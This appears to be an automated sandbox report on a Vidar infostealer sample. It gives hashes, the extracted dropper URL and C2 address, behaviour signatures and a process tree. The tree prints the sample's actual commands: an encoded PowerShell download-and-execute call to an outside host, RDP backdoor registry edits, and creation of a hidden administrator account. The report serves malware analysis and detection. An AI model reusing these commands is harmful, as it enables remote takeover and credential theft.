Analysis

  • max time kernel
    136s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    09-07-2021 18:27

General

  • Target

    faef9c278a4e0ad4686985084bea37e9.exe

  • Size

    657KB

  • MD5

    faef9c278a4e0ad4686985084bea37e9

  • SHA1

    c458d3a9503d9e43bda33176d0062741f9810747

  • SHA256

    10d971c860d4f8ad93b86f47fbc0cd285897769dd60bb68dea4377bb6e7d6f1f

  • SHA512

    951be756138fb6aeeb5e77a5b3f9280d2945ffb25527cb1732fb5dc927bbe6dbf3b4ccf94ce468c83d15c3d590d49286bdb12fb86d7350f8812fbf49978cdeea

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

vidar

Version

39.4

Botnet

313

C2

https://sergeevih43.tumblr.com/

Attributes
  • profile_id

    313

Signatures

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Vidar Stealer 3 IoCs
  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • NTFS ADS 2 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\faef9c278a4e0ad4686985084bea37e9.exe
    "C:\Users\Admin\AppData\Local\Temp\faef9c278a4e0ad4686985084bea37e9.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Users\Admin\AppData\Local\Temp\faef9c278a4e0ad4686985084bea37e9.exe
      C:\Users\Admin\AppData\Local\Temp\faef9c278a4e0ad4686985084bea37e9.exe
      2⤵
      • Loads dropped DLL
      • Checks processor information in registry
      • Modifies system certificate store
      • NTFS ADS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:784
      • C:\ProgramData\9QPHKW40BN0M4KO4.exe
        "C:\ProgramData\9QPHKW40BN0M4KO4.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3068
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
          4⤵
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1248
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\duhu4gq4\duhu4gq4.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1344
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES859.tmp" "c:\Users\Admin\AppData\Local\Temp\duhu4gq4\CSC1174368576B244959D83441443174DB.TMP"
              6⤵
                PID:4036
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1700
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4056
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2512
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
              5⤵
                PID:4036
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                5⤵
                • Modifies registry key
                PID:620
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                5⤵
                  PID:3048
                • C:\Windows\system32\net.exe
                  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1288
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    6⤵
                      PID:3948
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2216
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2728
                      • C:\Windows\system32\net.exe
                        net start rdpdr
                        7⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2452
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start rdpdr
                          8⤵
                            PID:3936
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3188
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:740
                        • C:\Windows\system32\net.exe
                          net start TermService
                          7⤵
                          • Suspicious use of WriteProcessMemory
                          PID:748
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 start TermService
                            8⤵
                              PID:2960
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                        5⤵
                          PID:1496
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                          5⤵
                            PID:2188
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c taskkill /im faef9c278a4e0ad4686985084bea37e9.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\faef9c278a4e0ad4686985084bea37e9.exe" & del C:\ProgramData\*.dll & exit
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1888
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /im faef9c278a4e0ad4686985084bea37e9.exe /f
                          4⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3500
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /t 6
                          4⤵
                          • Delays execution with timeout.exe
                          PID:1560
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:636
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3928
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:3052
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc ZBrGKQaJ /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3564
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc ZBrGKQaJ /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3888
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc ZBrGKQaJ /add
                          3⤵
                            PID:2880
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                          PID:2272
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            2⤵
                              PID:3984
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                3⤵
                                  PID:2364
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              1⤵
                                PID:1288
                                • C:\Windows\system32\net.exe
                                  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                                  2⤵
                                    PID:3796
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                                      3⤵
                                        PID:2748
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                    1⤵
                                      PID:4040
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                        2⤵
                                          PID:3688
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                            3⤵
                                              PID:2152
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe user WgaUtilAcc ZBrGKQaJ
                                          1⤵
                                            PID:3256
                                            • C:\Windows\system32\net.exe
                                              net.exe user WgaUtilAcc ZBrGKQaJ
                                              2⤵
                                                PID:3960
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 user WgaUtilAcc ZBrGKQaJ
                                                  3⤵
                                                    PID:3804
                                              • C:\Windows\System32\cmd.exe
                                                cmd.exe /C wmic path win32_VideoController get name
                                                1⤵
                                                  PID:3564
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic path win32_VideoController get name
                                                    2⤵
                                                      PID:3984
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd.exe /C wmic CPU get NAME
                                                    1⤵
                                                      PID:3768
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic CPU get NAME
                                                        2⤵
                                                          PID:3796
                                                      • C:\Windows\System32\cmd.exe
                                                        cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                        1⤵
                                                          PID:2300
                                                          • C:\Windows\system32\cmd.exe
                                                            cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                            2⤵
                                                              PID:3952
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                3⤵
                                                                • Blocklisted process makes network request
                                                                • Drops file in Program Files directory
                                                                • Drops file in Windows directory
                                                                • Modifies data under HKEY_USERS
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:2412

                                                          Network

                                                          MITRE ATT&CK Enterprise v6

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • memory/628-114-0x0000000000150000-0x0000000000151000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/628-119-0x0000000004A30000-0x0000000004A31000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/628-117-0x0000000004AB0000-0x0000000004AB1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/628-116-0x0000000004F10000-0x0000000004F11000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/628-120-0x0000000006510000-0x000000000659E000-memory.dmp

                                                            Filesize

                                                            568KB

                                                          • memory/628-122-0x00000000065E0000-0x00000000065E1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/628-118-0x0000000004A10000-0x0000000004F0E000-memory.dmp

                                                            Filesize

                                                            5.0MB

                                                          • memory/628-121-0x0000000006620000-0x0000000006621000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/628-127-0x0000000006840000-0x0000000006896000-memory.dmp

                                                            Filesize

                                                            344KB

                                                          • memory/784-130-0x0000000000400000-0x00000000004A1000-memory.dmp

                                                            Filesize

                                                            644KB

                                                          • memory/784-128-0x0000000000400000-0x00000000004A1000-memory.dmp

                                                            Filesize

                                                            644KB

                                                          • memory/1248-150-0x000001CD3AD00000-0x000001CD3AD01000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1248-175-0x000001CD3B8C0000-0x000001CD3B8C1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1248-164-0x000001CD22926000-0x000001CD22928000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/1248-154-0x000001CD22920000-0x000001CD22922000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/1248-169-0x000001CD3B1C0000-0x000001CD3B1C1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1248-156-0x000001CD22923000-0x000001CD22925000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/1248-153-0x000001CD3B220000-0x000001CD3B221000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1248-176-0x000001CD3BC50000-0x000001CD3BC51000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1248-177-0x000001CD22928000-0x000001CD22929000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/1700-203-0x00000185A3936000-0x00000185A3938000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/1700-200-0x00000185A3933000-0x00000185A3935000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/1700-199-0x00000185A3930000-0x00000185A3932000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/1700-239-0x00000185A3938000-0x00000185A393A000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2412-403-0x00000210F9E70000-0x00000210F9E72000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2412-404-0x00000210F9E73000-0x00000210F9E75000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2412-410-0x00000210F9E76000-0x00000210F9E78000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2412-461-0x00000210F9E78000-0x00000210F9E79000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/2512-283-0x0000015E5ED40000-0x0000015E5ED42000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2512-285-0x0000015E5ED43000-0x0000015E5ED45000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2512-317-0x0000015E5ED48000-0x0000015E5ED4A000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/2512-316-0x0000015E5ED46000-0x0000015E5ED48000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/3068-138-0x000001E3ED230000-0x000001E3ED232000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/3068-136-0x000001E3ED4F0000-0x000001E3ED79A000-memory.dmp

                                                            Filesize

                                                            2.7MB

                                                          • memory/3068-140-0x000001E3ED235000-0x000001E3ED236000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/3068-141-0x000001E3ED236000-0x000001E3ED237000-memory.dmp

                                                            Filesize

                                                            4KB

                                                          • memory/3068-139-0x000001E3ED233000-0x000001E3ED235000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/4056-247-0x000001ED865A6000-0x000001ED865A8000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/4056-241-0x000001ED865A3000-0x000001ED865A5000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/4056-240-0x000001ED865A0000-0x000001ED865A2000-memory.dmp

                                                            Filesize

                                                            8KB